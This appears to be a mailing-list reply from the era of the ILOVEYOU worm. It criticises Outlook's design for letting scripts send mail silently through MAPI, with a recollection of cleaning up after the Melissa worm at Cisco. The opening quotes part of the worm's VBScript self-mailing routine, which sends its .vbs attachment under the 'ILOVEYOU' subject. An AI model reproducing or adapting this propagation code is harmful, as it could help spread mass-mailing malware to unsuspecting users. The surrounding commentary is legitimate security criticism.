"spyder" wrote:
...
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
...
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
One solution is to boycott Outlook until MAPI's Send simply queues the
messages as drafts without sending them. Suggesting that within Cisco
shortly after the melissa worm, which I had to personally clean up after,
I was told that was a "strategic" decision and henceforth I was only to
make "tactical" recommendations. Whoops!
People need to learn to stand up to bad engineering, and bad management
decisions in favor of bad engineering. As a corallary, people need to
support good engineering, such as device upload in HTML:
http://www.sourcexchange.com/WishDetail?wishID=227
Cheers,
James